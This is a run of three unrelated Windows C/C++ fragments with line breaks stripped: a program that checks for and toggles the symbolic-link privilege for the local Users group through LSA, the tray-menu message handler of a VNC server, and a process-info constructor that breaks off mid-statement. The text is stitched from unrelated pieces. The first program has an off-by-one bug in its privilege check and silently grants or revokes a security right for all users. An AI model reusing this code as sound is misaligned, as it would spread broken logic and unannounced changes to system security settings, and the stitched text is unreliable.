int main(void) { // GetCurrentProcess cannot fail HANDLE hProcess = GetCurrentProcess(); if (OpenProcessToken(hProcess, TOKEN_READ, &hProcess)) { LUID seCreateSymbolicLinkPrivilege; if (LookupPrivilegeValue(NULL, SE_CREATE_SYMBOLIC_LINK_NAME, &seCreateSymbolicLinkPrivilege)) { DWORD length; printf("SeCreateSymbolicLinkPrivilege = %ld, %ld\n", seCreateSymbolicLinkPrivilege.HighPart, seCreateSymbolicLinkPrivilege.LowPart); if (!GetTokenInformation(hProcess, TokenPrivileges, NULL, 0, &length)) { if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) { TOKEN_PRIVILEGES* privileges = (TOKEN_PRIVILEGES*)malloc(length); if (GetTokenInformation(hProcess, TokenPrivileges, privileges, length, &length)) { BOOL found = FALSE; DWORD count = privileges->PrivilegeCount; printf("User has %ld privileges\n", count); if (count > 0) { LUID_AND_ATTRIBUTES* privs = privileges->Privileges; while (count-- > 0 && !luid_eq(privs->Luid, seCreateSymbolicLinkPrivilege)) privs++; found = (count > 0); } printf("User does%s have the SeCreateSymbolicLinkPrivilege\n", (found ? "" : "n't")); } else { fprintf(stderr, "Second GetTokenInformation failed\n"); } free(privileges); } else { fprintf(stderr, "First GetTokenInformation failed\n"); } } else { fprintf(stderr, "Impossible output from GetTokenInformation\n"); } } else { fprintf(stderr, "LookupPrivilegeValue failed\n"); } CloseHandle(hProcess); } else { fprintf(stderr, "OpenProcessToken failed\n"); } LSA_HANDLE hPolicy; NTSTATUS r; LSA_OBJECT_ATTRIBUTES attributes = {0, NULL, NULL, 0, NULL, NULL}; attributes.Length = sizeof(attributes); LUID seCreateSymbolicLinkPrivilege; if (LookupPrivilegeValue(NULL, SE_CREATE_SYMBOLIC_LINK_NAME, &seCreateSymbolicLinkPrivilege)) { // POLICY_LOOKUP_NAMES: LsaLookupNames2, LsaEnumerateAccountRights, LsaLookupSids, LsaAddAccountRights // POLICY_VIEW_LOCAL_INFORMATION: LsaEnumerateAccountsWithUserRight // Elevation: LsaEnumerateAccountRights, LsaEnumerateAccountsWithUserRight, LsaRemoveAccountRights, LsaAddAccountRights if (NT_SUCCESS(r = LsaOpenPolicy(NULL, &attributes, POLICY_LOOKUP_NAMES | POLICY_VIEW_LOCAL_INFORMATION, &hPolicy))) { LSA_REFERENCED_DOMAIN_LIST* referencedDomains; LSA_TRANSLATED_SID2* sids; LSA_UNICODE_STRING name; name.Buffer = L"Users"; name.Length = wcslen(name.Buffer) * sizeof(WCHAR); name.MaximumLength = name.Length + sizeof(WCHAR); if (NT_SUCCESS(r = LsaLookupNames2(hPolicy, LSA_LOOKUP_ISOLATED_AS_LOCAL, 1, &name, &referencedDomains, &sids))) { LSA_UNICODE_STRING* rights; ULONG count; LsaFreeMemory(referencedDomains); if (NT_SUCCESS(r = LsaEnumerateAccountRights(hPolicy, sids->Sid, &rights, &count))) { LSA_UNICODE_STRING* right = rights; printf("%ld right%s found\n", count, PLURAL(count)); while (count-- > 0) { printf(" %.*S\n", right->Length / 2, right->Buffer); right++; } LsaFreeMemory(rights); LSA_ENUMERATION_INFORMATION* allSidsRaw; LSA_UNICODE_STRING lsaCreateSymbolicLinkPrivilege; lsaCreateSymbolicLinkPrivilege.Buffer = SE_CREATE_SYMBOLIC_LINK_NAME; lsaCreateSymbolicLinkPrivilege.Length = wcslen(lsaCreateSymbolicLinkPrivilege.Buffer) * sizeof(WCHAR); lsaCreateSymbolicLinkPrivilege.MaximumLength = lsaCreateSymbolicLinkPrivilege.Length + sizeof(WCHAR); if (NT_SUCCESS(r = LsaEnumerateAccountsWithUserRight(hPolicy, &lsaCreateSymbolicLinkPrivilege, (void**)&allSidsRaw, &count))) { LSA_ENUMERATION_INFORMATION* sid = allSidsRaw; PSID* allSids; PSID* p; PLSA_TRANSLATED_NAME names; ULONG i = count; printf("%ld SID%s found\n", count, PLURAL(count)); p = allSids = (PSID*)malloc(count * sizeof(PSID)); while (i-- > 0) *p++ = (sid++)->Sid; if (NT_SUCCESS(r = LsaLookupSids(hPolicy, count, allSids, &referencedDomains, &names))) { PLSA_TRANSLATED_NAME name = names; BOOL usersAssigned = FALSE; LsaFreeMemory(referencedDomains); while (count-- > 0) { LPTSTR sidString; USHORT len = name->Name.Length / 2; ConvertSidToStringSid(*allSids++, &sidString); printf(" %.*S (%S)\n", len, name->Name.Buffer, sidString); usersAssigned |= (len > 4 && !wcsncmp(L"Users", name->Name.Buffer, len)); name++; LocalFree(sidString); } printf("Users had%s got SeCreateSymbolicLinkPrivilege\n", (usersAssigned ? "" : "n't")); if (usersAssigned) { if (!NT_SUCCESS(r = LsaRemoveAccountRights(hPolicy, sids->Sid, FALSE, &lsaCreateSymbolicLinkPrivilege, 1))) { fprintf(stderr, "Lsa failed with code %x\n", r); } } else { if (!NT_SUCCESS(r = LsaAddAccountRights(hPolicy, sids->Sid, &lsaCreateSymbolicLinkPrivilege, 1))) { fprintf(stderr, "LsaAddAccountRights failed with code %x\n", r); } } LsaFreeMemory(names); } else { fprintf(stderr, "LsaLookupSids2 failed with code %x\n", r); } LsaFreeMemory(allSidsRaw); free(allSids); } else { fprintf(stderr, "LsaEnumerateAccountsWithUserRight failed with code %x\n", r); } } else { fprintf(stderr, "LsaEnumerateAccountRights failed with code %x\n", r); } LsaFreeMemory(sids); } else { fprintf(stderr, "LsaLookupNames2 failed with code %x\n", r); } LsaClose(hPolicy); } else { fprintf(stderr, "LsaOpenPolicy failed with code %x\n", r); } } else { fprintf(stderr, "LookupPrivilegeValue failed\n"); } }
// Process window messages LRESULT CALLBACK vncMenu::WndProc(HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam) { // This is a static method, so we don't know which instantiation we're // dealing with. We use Allen Hadden's ([email protected]) suggestion // from a newsgroup to get the pseudo-this. vncMenu *_this = helper::SafeGetWindowUserData<vncMenu>(hwnd); // Beep(100,10); // vnclog.Print(LL_INTINFO, VNCLOG("iMsg 0x%x \n"),iMsg); if (iMsg==WM_TASKBARCREATED) { if (_this->m_server->RunningFromExternalService()) { Sleep(1000); vnclog.Print(LL_INTINFO, VNCLOG("WM_TASKBARCREATED \n")); // User has changed! strcpy(_this->m_username, newuser); vnclog.Print(LL_INTINFO, VNCLOG("############## Kill vncMenu thread\n")); // Order impersonation thread killing KillTimer(hwnd,1); PostQuitMessage(0); } } switch (iMsg) { // Every five seconds, a timer message causes the icon to update case WM_TIMER: // sf@2007 - Can't get the WTS_CONSOLE_CONNECT message work properly for now.. // So use a hack instead // jdp reread some ini settings _this->m_properties.ReloadDynamicSettings(); // G_1111==true --> reconnect if (G_1111==true) { if (_this->IsIconSet==true) { vnclog.Print(LL_INTERR, VNCLOG("Add client reconnect from timer\n")); G_1111=false; PostMessage(hwnd,MENU_ADD_CLIENT_MSG,1111,1111); } } vnclog.Print(LL_INTERR, VNCLOG("########### vncMenu::TIMER TrayIcon 5s hack\n")); if (_this->m_server->RunningFromExternalService()) { strcpy(newuser,""); if (vncService::CurrentUser((char *) &newuser, sizeof(newuser))) { // Check whether the user name has changed! if (_stricmp(newuser, _this->m_username) != 0 || _this->IconFaultCounter>2) { Sleep(1000); vnclog.Print(LL_INTINFO, VNCLOG("user name has changed\n")); // User has changed! strcpy(_this->m_username, newuser); vnclog.Print(LL_INTINFO, VNCLOG("############## Kill vncMenu thread\n")); // Order impersonation thread killing PostQuitMessage(0); break; } } } // *** HACK for running servicified if (vncService::RunningAsService()) { vnclog.Print(LL_INTERR, VNCLOG("########### vncMenu::TIMER TrayIcon 5s hack call - Runningasservice\n")); // Attempt to add the icon if it's not already there _this->AddTrayIcon(); // Trigger a check of the current user PostMessage(hwnd, WM_USERCHANGED, 0, 0); } // Update the icon _this->FlashTrayIcon(_this->m_server->AuthClientCount() != 0); break; // DEAL WITH NOTIFICATIONS FROM THE SERVER: case WM_SRV_CLIENT_AUTHENTICATED: case WM_SRV_CLIENT_DISCONNECT: // Adjust the icon accordingly _this->FlashTrayIcon(_this->m_server->AuthClientCount() != 0); if (_this->m_server->AuthClientCount() != 0) { if (_this->m_server->RemoveWallpaperEnabled()) KillWallpaper(); if (_this->m_server->RemoveAeroEnabled()) // Moved, redundant if //PGM @ Advantig DisableAero(); // Moved, redundant if //PGM @ Advantig } else { if (_this->m_server->RemoveAeroEnabled()) // Moved, redundant if //PGM @ Advantig ResetAero(); // Moved, redundant if //PGM @ Advantig if (_this->m_server->RemoveWallpaperEnabled()) { // Added { //PGM @ Advantig Sleep(2000); // Added 2 second delay to help wallpaper restore //PGM @ Advantig RestoreWallpaper(); } //PGM @ Advantig } //PGM @ Advantig if (_this->m_server->AuthClientCount() != 0) { //PGM @ Advantig if (_this->m_server->RemoveAeroEnabled()) //PGM @ Advantig DisableAero(); //PGM @ Advantig } else { //PGM @ Advantig if (_this->m_server->RemoveAeroEnabled()) //PGM @ Advantig ResetAero(); //PGM @ Advantig } return 0; // STANDARD MESSAGE HANDLING case WM_CREATE: WM_TASKBARCREATED = RegisterWindowMessage("TaskbarCreated"); return 0; case WM_COMMAND: // User has clicked an item on the tray menu switch (LOWORD(wParam)) { case ID_DEFAULT_PROPERTIES: // Show the default properties dialog, unless it is already displayed vnclog.Print(LL_INTINFO, VNCLOG("show default properties requested\n")); _this->m_properties.ShowAdmin(TRUE, FALSE); _this->FlashTrayIcon(_this->m_server->AuthClientCount() != 0); break; case ID_PROPERTIES: // Show the properties dialog, unless it is already displayed vnclog.Print(LL_INTINFO, VNCLOG("show user properties requested\n")); _this->m_propertiesPoll.Show(TRUE, TRUE); _this->FlashTrayIcon(_this->m_server->AuthClientCount() != 0); break; case ID_ADMIN_PROPERTIES: // Show the properties dialog, unless it is already displayed vnclog.Print(LL_INTINFO, VNCLOG("show user properties requested\n")); _this->m_properties.ShowAdmin(TRUE, TRUE); _this->FlashTrayIcon(_this->m_server->AuthClientCount() != 0); break; case ID_OUTGOING_CONN: // Connect out to a listening VNC viewer { vncConnDialog *newconn = new vncConnDialog(_this->m_server); if (newconn) { newconn->DoDialog(); // delete newconn; // NO ! Already done in vncConnDialog. } } break; case ID_KILLCLIENTS: // Disconnect all currently connected clients vnclog.Print(LL_INTINFO, VNCLOG("KillAuthClients() ID_KILLCLIENTS \n")); _this->m_server->KillAuthClients(); break; // sf@2002 case ID_LISTCLIENTS: _this->m_ListDlg.Display(); break; case ID_ABOUT: // Show the About box _this->m_about.Show(TRUE); break; case ID_VISITUSONLINE_HOMEPAGE: { HANDLE hProcess,hPToken; DWORD id=GetExplorerLogonPid(); if (id!=0) { hProcess = OpenProcess(MAXIMUM_ALLOWED,FALSE,id); if(!OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY |TOKEN_DUPLICATE|TOKEN_ASSIGN_PRIMARY|TOKEN_ADJUST_SESSIONID |TOKEN_READ|TOKEN_WRITE,&hPToken)) break; char dir[MAX_PATH]; char exe_file_name[MAX_PATH]; GetModuleFileName(0, exe_file_name, MAX_PATH); strcpy(dir, exe_file_name); strcat(dir, " -openhomepage"); { STARTUPINFO StartUPInfo; PROCESS_INFORMATION ProcessInfo; ZeroMemory(&StartUPInfo,sizeof(STARTUPINFO)); ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION)); StartUPInfo.wShowWindow = SW_SHOW; StartUPInfo.lpDesktop = "Winsta0\\Default"; StartUPInfo.cb = sizeof(STARTUPINFO); CreateProcessAsUser(hPToken,NULL,dir,NULL,NULL,FALSE,DETACHED_PROCESS,NULL,NULL,&StartUPInfo,&ProcessInfo); DWORD error=GetLastError(); if (ProcessInfo.hThread) CloseHandle(ProcessInfo.hThread); if (ProcessInfo.hProcess) CloseHandle(ProcessInfo.hProcess); //if (error==1314) // { // Open_homepage(); // } } } } break; case ID_VISITUSONLINE_FORUM: { HANDLE hProcess,hPToken; DWORD id=GetExplorerLogonPid(); if (id!=0) { hProcess = OpenProcess(MAXIMUM_ALLOWED,FALSE,id); if(!OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY |TOKEN_DUPLICATE|TOKEN_ASSIGN_PRIMARY|TOKEN_ADJUST_SESSIONID |TOKEN_READ|TOKEN_WRITE,&hPToken)) break; char dir[MAX_PATH]; char exe_file_name[MAX_PATH]; GetModuleFileName(0, exe_file_name, MAX_PATH); strcpy(dir, exe_file_name); strcat(dir, " -openforum"); { STARTUPINFO StartUPInfo; PROCESS_INFORMATION ProcessInfo; ZeroMemory(&StartUPInfo,sizeof(STARTUPINFO)); ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION)); StartUPInfo.wShowWindow = SW_SHOW; StartUPInfo.lpDesktop = "Winsta0\\Default"; StartUPInfo.cb = sizeof(STARTUPINFO); CreateProcessAsUser(hPToken,NULL,dir,NULL,NULL,FALSE,DETACHED_PROCESS,NULL,NULL,&StartUPInfo,&ProcessInfo); DWORD error=GetLastError(); if (ProcessInfo.hThread) CloseHandle(ProcessInfo.hThread); if (ProcessInfo.hProcess) CloseHandle(ProcessInfo.hProcess); //if (error==1314) // { // Open_forum(); // } } } } break; case ID_CLOSE: // User selected Close from the tray menu fShutdownOrdered=TRUE; Sleep(1000); vnclog.Print(LL_INTINFO, VNCLOG("KillAuthClients() ID_CLOSE \n")); _this->m_server->KillAuthClients(); PostMessage(hwnd, WM_CLOSE, 0, 0); break; case ID_UNINSTALL_SERVICE: { HANDLE hProcess,hPToken; DWORD id=GetExplorerLogonPid(); if (id!=0) { hProcess = OpenProcess(MAXIMUM_ALLOWED,FALSE,id); if(!OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY |TOKEN_DUPLICATE|TOKEN_ASSIGN_PRIMARY|TOKEN_ADJUST_SESSIONID |TOKEN_READ|TOKEN_WRITE,&hPToken)) break; char dir[MAX_PATH]; char exe_file_name[MAX_PATH]; GetModuleFileName(0, exe_file_name, MAX_PATH); strcpy(dir, exe_file_name); strcat(dir, " -uninstallhelper"); { STARTUPINFO StartUPInfo; PROCESS_INFORMATION ProcessInfo; HANDLE Token=NULL; HANDLE process=NULL; ZeroMemory(&StartUPInfo,sizeof(STARTUPINFO)); ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION)); StartUPInfo.wShowWindow = SW_SHOW; StartUPInfo.lpDesktop = "Winsta0\\Default"; StartUPInfo.cb = sizeof(STARTUPINFO); CreateProcessAsUser(hPToken,NULL,dir,NULL,NULL,FALSE,DETACHED_PROCESS,NULL,NULL,&StartUPInfo,&ProcessInfo); DWORD errorcode=GetLastError(); if (process) CloseHandle(process); if (Token) CloseHandle(Token); if (errorcode==1314) { Set_uninstall_service_as_admin(); } } fShutdownOrdered=TRUE; vnclog.Print(LL_INTINFO, VNCLOG("KillAuthClients() ID_CLOSE \n")); _this->m_server->KillAuthClients(); PostMessage(hwnd, WM_CLOSE, 0, 0); } } break; case ID_RUNASSERVICE: { HANDLE hProcess,hPToken; DWORD id=GetExplorerLogonPid(); if (id!=0) { hProcess = OpenProcess(MAXIMUM_ALLOWED,FALSE,id); if(!OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY |TOKEN_DUPLICATE|TOKEN_ASSIGN_PRIMARY|TOKEN_ADJUST_SESSIONID |TOKEN_READ|TOKEN_WRITE,&hPToken)) break; char dir[MAX_PATH]; char exe_file_name[MAX_PATH]; GetModuleFileName(0, exe_file_name, MAX_PATH); strcpy(dir, exe_file_name); strcat(dir, " -installhelper"); STARTUPINFO StartUPInfo; PROCESS_INFORMATION ProcessInfo; HANDLE Token=NULL; HANDLE process=NULL; ZeroMemory(&StartUPInfo,sizeof(STARTUPINFO)); ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION)); StartUPInfo.wShowWindow = SW_SHOW; StartUPInfo.lpDesktop = "Winsta0\\Default"; StartUPInfo.cb = sizeof(STARTUPINFO); CreateProcessAsUser(hPToken,NULL,dir,NULL,NULL,FALSE,DETACHED_PROCESS,NULL,NULL,&StartUPInfo,&ProcessInfo); DWORD error=GetLastError(); if (process) CloseHandle(process); if (Token) CloseHandle(Token); if (error==1314) { Set_install_service_as_admin(); } } fShutdownOrdered=TRUE; Sleep(1000); vnclog.Print(LL_INTINFO, VNCLOG("KillAuthClients() ID_CLOSE \n")); _this->m_server->KillAuthClients(); PostMessage(hwnd, WM_CLOSE, 0, 0); } break; case ID_CLOSE_SERVICE: { HANDLE hProcess,hPToken; DWORD id=GetExplorerLogonPid(); if (id!=0) { hProcess = OpenProcess(MAXIMUM_ALLOWED,FALSE,id); if(!OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY |TOKEN_DUPLICATE|TOKEN_ASSIGN_PRIMARY|TOKEN_ADJUST_SESSIONID |TOKEN_READ|TOKEN_WRITE,&hPToken)) { CloseHandle(hProcess); break; } char dir[MAX_PATH]; char exe_file_name[MAX_PATH]; GetModuleFileName(0, exe_file_name, MAX_PATH); strcpy(dir, exe_file_name); strcat(dir, " -stopservicehelper"); STARTUPINFO StartUPInfo; PROCESS_INFORMATION ProcessInfo; HANDLE Token=NULL; HANDLE process=NULL; ZeroMemory(&StartUPInfo,sizeof(STARTUPINFO)); ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION)); StartUPInfo.wShowWindow = SW_SHOW; StartUPInfo.lpDesktop = "Winsta0\\Default"; StartUPInfo.cb = sizeof(STARTUPINFO); CreateProcessAsUser(hPToken,NULL,dir,NULL,NULL,FALSE,DETACHED_PROCESS,NULL,NULL,&StartUPInfo,&ProcessInfo); DWORD error=GetLastError(); if (process) CloseHandle(process); if (Token) CloseHandle(Token); if (hProcess) CloseHandle(hProcess); if (error==1314) { Set_stop_service_as_admin(); } } } break; case ID_START_SERVICE: { HANDLE hProcess,hPToken; DWORD id=GetExplorerLogonPid(); if (id!=0) { hProcess = OpenProcess(MAXIMUM_ALLOWED,FALSE,id); if(!OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY |TOKEN_DUPLICATE|TOKEN_ASSIGN_PRIMARY|TOKEN_ADJUST_SESSIONID |TOKEN_READ|TOKEN_WRITE,&hPToken)) { CloseHandle(hProcess); break; } char dir[MAX_PATH]; char exe_file_name[MAX_PATH]; GetModuleFileName(0, exe_file_name, MAX_PATH); strcpy(dir, exe_file_name); strcat(dir, " -startservicehelper"); STARTUPINFO StartUPInfo; PROCESS_INFORMATION ProcessInfo; HANDLE Token=NULL; HANDLE process=NULL; ZeroMemory(&StartUPInfo,sizeof(STARTUPINFO)); ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION)); StartUPInfo.wShowWindow = SW_SHOW; StartUPInfo.lpDesktop = "Winsta0\\Default"; StartUPInfo.cb = sizeof(STARTUPINFO); CreateProcessAsUser(hPToken,NULL,dir,NULL,NULL,FALSE,DETACHED_PROCESS,NULL,NULL,&StartUPInfo,&ProcessInfo); DWORD error=GetLastError(); if (hPToken) CloseHandle(hPToken); if (process) CloseHandle(process); if (Token) CloseHandle(Token); if (hProcess) CloseHandle(hProcess); if (error==1314) { Set_start_service_as_admin(); } fShutdownOrdered=TRUE; Sleep(1000); vnclog.Print(LL_INTINFO, VNCLOG("KillAuthClients() ID_CLOSE \n")); _this->m_server->KillAuthClients(); PostMessage(hwnd, WM_CLOSE, 0, 0); } } break; } return 0; case WM_TRAYNOTIFY: // User has clicked on the tray icon or the menu { // Get the submenu to use as a pop-up menu HMENU submenu = GetSubMenu(_this->m_hmenu, 0); // What event are we responding to, RMB click? if (lParam==WM_RBUTTONUP) { if (submenu == NULL) { vnclog.Print(LL_INTERR, VNCLOG("no submenu available\n")); return 0; } // Make the first menu item the default (bold font) SetMenuDefaultItem(submenu, 0, TRUE); // Get the current cursor position, to display the menu at POINT mouse; GetCursorPos(&mouse); // There's a "bug" // (Microsoft calls it a feature) in Windows 95 that requires calling // SetForegroundWindow. To find out more, search for Q135788 in MSDN. // SetForegroundWindow(_this->m_nid.hWnd); // Display the menu at the desired position TrackPopupMenu(submenu, 0, mouse.x, mouse.y, 0, _this->m_nid.hWnd, NULL); PostMessage(hwnd, WM_NULL, 0, 0); return 0; } // Or was there a LMB double click? if (lParam==WM_LBUTTONDBLCLK) { // double click: execute first menu item SendMessage(_this->m_nid.hWnd, WM_COMMAND, GetMenuItemID(submenu, 0), 0); } return 0; } case WM_CLOSE: // Only accept WM_CLOSE if the logged on user has AllowShutdown set if (!_this->m_properties.AllowShutdown()) { return 0; } // tnatsni Wallpaper fix if (_this->m_server->RemoveWallpaperEnabled()) RestoreWallpaper(); if (_this->m_server->RemoveAeroEnabled()) ResetAero(); vnclog.Print(LL_INTERR, VNCLOG("vncMenu WM_CLOSE call - All cleanup done\n")); Sleep(2000); DestroyWindow(hwnd); break; case WM_DESTROY: // The user wants WinVNC to quit cleanly... vnclog.Print(LL_INTINFO, VNCLOG("quitting from WM_DESTROY\n")); PostQuitMessage(0); return 0; case WM_QUERYENDSESSION: { //shutdown or reboot if((lParam & ENDSESSION_LOGOFF) != ENDSESSION_LOGOFF) { fShutdownOrdered=TRUE; Sleep(1000); vnclog.Print(LL_INTERR, VNCLOG("SHUTDOWN OS detected\n")); vnclog.Print(LL_INTINFO, VNCLOG("KillAuthClients() ID_CLOSE \n")); _this->m_server->KillAuthClients(); PostMessage(hwnd, WM_CLOSE, 0, 0); break; } DWORD SessionID; SessionID=GetCurrentSessionID(); vnclog.Print(LL_INTERR, VNCLOG("Session ID %i\n"),SessionID); if (SessionID!=0) { fShutdownOrdered=TRUE; Sleep(1000); vnclog.Print(LL_INTERR, VNCLOG("WM_QUERYENDSESSION session!=0\n")); vnclog.Print(LL_INTINFO, VNCLOG("KillAuthClients() ID_CLOSE \n")); _this->m_server->KillAuthClients(); PostMessage(hwnd, WM_CLOSE, 0, 0); } } break; case WM_ENDSESSION: vnclog.Print(LL_INTERR, VNCLOG("WM_ENDSESSION\n")); break; case WM_USERCHANGED: // The current user may have changed. { strcpy(newuser,""); if (vncService::CurrentUser((char *) &newuser, sizeof(newuser))) { vnclog.Print(LL_INTINFO, VNCLOG("############### Usernames change: old=\"%s\", new=\"%s\"\n"), _this->m_username, newuser); // Check whether the user name has changed! if (_stricmp(newuser, _this->m_username) != 0) { vnclog.Print(LL_INTINFO, VNCLOG("user name has changed\n")); // User has changed! strcpy(_this->m_username, newuser); // Redraw the tray icon and set it's state _this->DelTrayIcon(); _this->AddTrayIcon(); _this->FlashTrayIcon(_this->m_server->AuthClientCount() != 0); // We should load in the prefs for the new user if (_this->m_properties.m_fUseRegistry) { _this->m_properties.Load(TRUE); _this->m_propertiesPoll.Load(TRUE); } else { _this->m_properties.LoadFromIniFile(); _this->m_propertiesPoll.LoadFromIniFile(); } } } } return 0; // [v1.0.2-jp1 fix] Don't show IME toolbar on right click menu. case WM_INITMENU: case WM_INITMENUPOPUP: SendMessage(ImmGetDefaultIMEWnd(hwnd), WM_IME_CONTROL, IMC_CLOSESTATUSWINDOW, 0); return 0; default: // Deal with any of our custom message types // wa@2005 -- added support for the AutoReconnectId // removed the previous code that used 999,999 if ( iMsg == MENU_AUTO_RECONNECT_MSG ) { char szId[MAX_PATH] = {0}; UINT ret = 0; if ( lParam != NULL ) { ret = GlobalGetAtomName( (ATOM)lParam, szId, sizeof( szId ) ); GlobalDeleteAtom( (ATOM)lParam ); } _this->m_server->AutoReconnect(true); if ( ret > 0 ) _this->m_server->AutoReconnectId(szId); return 0; } if ( iMsg == MENU_REPEATER_ID_MSG ) { char szId[MAX_PATH] = {0}; UINT ret = 0; if ( lParam != NULL ) { ret = GlobalGetAtomName( (ATOM)lParam, szId, sizeof( szId ) ); GlobalDeleteAtom( (ATOM)lParam ); } _this->m_server->IdReconnect(true); if ( ret > 0 ) _this->m_server->AutoReconnectId(szId); return 0; } if (iMsg == MENU_ADD_CLIENT_MSG) { /* // sf@2005 - FTNoUserImpersonation // Dirty trick to avoid to add a new MSG... no time if (lParam == 998) { _this->m_server->FTUserImpersonation(false); return 0; } */ // Add Client message. This message includes an IP address // of a listening client, to which we should connect. //adzm 2009-06-20 - Check for special add repeater client message if (wParam == 0xFFFFFFFF && lParam == 0xFFFFFFFF) { vncConnDialog *newconn = new vncConnDialog(_this->m_server); if (newconn) { if (IDOK != newconn->DoDialog()) { if (SPECIAL_SC_PROMPT && _this->m_server->AuthClientCount() == 0 && _this->m_server->UnauthClientCount() == 0) { PostMessage(hwnd, WM_COMMAND, ID_CLOSE, 0); } } } return 0; } // If there is no IP address then show the connection dialog if (!lParam) { vncConnDialog *newconn = new vncConnDialog(_this->m_server); if (newconn) { newconn->DoDialog(); // winvnc -connect fixed //CHECH memeory leak // delete newconn; } return 0; } unsigned short nport = 0; char *nameDup = 0; char szAdrName[64]; char szId[MAX_PATH] = {0}; // sf@2003 - Values are already converted if ((_this->m_server->AutoReconnect()|| _this->m_server->IdReconnect() )&& strlen(_this->m_server->AutoReconnectAdr()) > 0) { nport = _this->m_server->AutoReconnectPort(); strcpy(szAdrName, _this->m_server->AutoReconnectAdr()); } else { // Get the IP address stringified struct in_addr address; address.S_un.S_addr = lParam; char *name = inet_ntoa(address); if (name == 0) return 0; nameDup = _strdup(name); if (nameDup == 0) return 0; strcpy(szAdrName, nameDup); // Free the duplicate name if (nameDup != 0) free(nameDup); // Get the port number nport = (unsigned short)wParam; if (nport == 0) nport = INCOMING_PORT_OFFSET; } // wa@2005 -- added support for the AutoReconnectId // (but it's not required) bool bId = ( strlen(_this->m_server->AutoReconnectId() ) > 0); if ( bId ) strcpy( szId, _this->m_server->AutoReconnectId() ); // sf@2003 // Stores the client adr/ports the first time we try to connect // This way we can call this message again later to reconnect with the same values if ((_this->m_server->AutoReconnect() || _this->m_server->IdReconnect())&& strlen(_this->m_server->AutoReconnectAdr()) == 0) { _this->m_server->AutoReconnectAdr(szAdrName); _this->m_server->AutoReconnectPort(nport); } // Attempt to create a new socket VSocket *tmpsock; tmpsock = new VSocket; if (tmpsock) { // Connect out to the specified host on the VNCviewer listen port tmpsock->Create(); if (tmpsock->Connect(szAdrName, nport)) { if ( bId ) { // wa@2005 -- added support for the AutoReconnectId // Set the ID for this client -- code taken from vncconndialog.cpp (ln:142) tmpsock->Send(szId,250); tmpsock->SetTimeout(0); // adzm 2009-07-05 - repeater IDs // Add the new client to this server // adzm 2009-08-02 _this->m_server->AddClient(tmpsock, TRUE, TRUE, 0, NULL, szId, szAdrName, nport); } else { // Add the new client to this server // adzm 2009-08-02 _this->m_server->AddClient(tmpsock, TRUE, TRUE, 0, NULL, NULL, szAdrName, nport); } } else { delete tmpsock; _this->m_server->AutoConnectRetry(); } } return 0; } // Process FileTransfer asynchronous Send Packet Message if (iMsg == FileTransferSendPacketMessage) { vncClient* pClient = (vncClient*) wParam; if (_this->m_server->IsClient(pClient)) pClient->SendFileChunk(); } // adzm 2009-07-05 - Tray icon balloon tips if (iMsg == MENU_TRAYICON_BALLOON_MSG) { omni_mutex_lock sync(_this->m_mutexTrayIcon); // adzm 2009-07-05 - Tray icon balloon tips if (_this->m_BalloonInfo) { free(_this->m_BalloonInfo); _this->m_BalloonInfo = NULL; } if (_this->m_BalloonTitle) { free(_this->m_BalloonTitle); _this->m_BalloonTitle = NULL; } char* szInfo = (char*)wParam; char* szTitle = (char*)lParam; if (szInfo && (strlen(szInfo) > 0) ) { _this->m_BalloonInfo = _strdup(szInfo); } if (szTitle && (strlen(szTitle) > 0) ) { _this->m_BalloonTitle = _strdup(szTitle); } if (szInfo) { free(szInfo); } if (szTitle) { free(szTitle); } if (_this->IsIconSet) { _this->SendTrayMsg(NIM_MODIFY, _this->m_nid.hIcon == _this->m_winvnc_icon ? FALSE : TRUE); } } } // Message not recognised return DefWindowProc(hwnd, iMsg, wParam, lParam); }
process::process(DWORD pid) : _process_id(pid) { // NT API Support: // 5.0 GetModuleFileNameEx // 5.1 GetProcessImageFileName // 5.0 GetProcessTimes // 5.0 GetTokenInformation // 5.0 LookupAccountSid // 5.0 OpenProcess // 5.0 OpenProcessToken // 6.0 QueryFullProcessImageName #if _WIN32_WINNT < 0x0600 //HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid); #else //HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); #endif HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, pid); if (NULL != hProcess) { FILETIME ctime = { 0, 0 }; FILETIME etime = { 0, 0 }; FILETIME ktime = { 0, 0 }; FILETIME utime = { 0, 0 }; if (GetProcessTimes(hProcess, &ctime, &etime, &ktime, &utime)) { _creation_time = ctime; } else { std::tcerr << std::dec << pid << ": GetProcessTimes failed: " << std::hex << std::setw(8) << std::setfill(_T('0')) << GetLastError() << std::endl; } #if _WIN32_WINNT < 0x0600 std::tstring image(MAX_PATH, '\0'); // This needs PROCESS_VM_READ. DWORD image_length = GetModuleFileNameEx(hProcess, NULL, &image[0], image.size()); if (image_length > 0) { image.resize(image_length); } else { std::tcerr << std::dec << pid << ": GetModuleFileNameEx failed: " << std::hex << std::setw(8) << std::setfill(_T('0')) << GetLastError() << std::endl; } #else std::tstring image(MAX_PATH, '\0'); DWORD image_length = image.size(); // This needs PROCESS_QUERY_LIMITED_INFORMATION. if (QueryFullProcessImageName(hProcess, 0, &image[0], &image_length)) { image.resize(image_length); } else { std::tcerr << std::dec << pid << ": QueryFullProcessImageName failed: " << std::hex << std::setw(8) << std::setfill(_T('0')) << GetLastError() << std::endl; } #endif _image_filepath.assign(image); std::tstring::size_type last_slash = _image_filepath.rfind('\\'); if (last_slash != std::tstring::npos) { _image_filename = _image_filepath.substr(++last_slash, _image_filepath.size()); } HANDLE 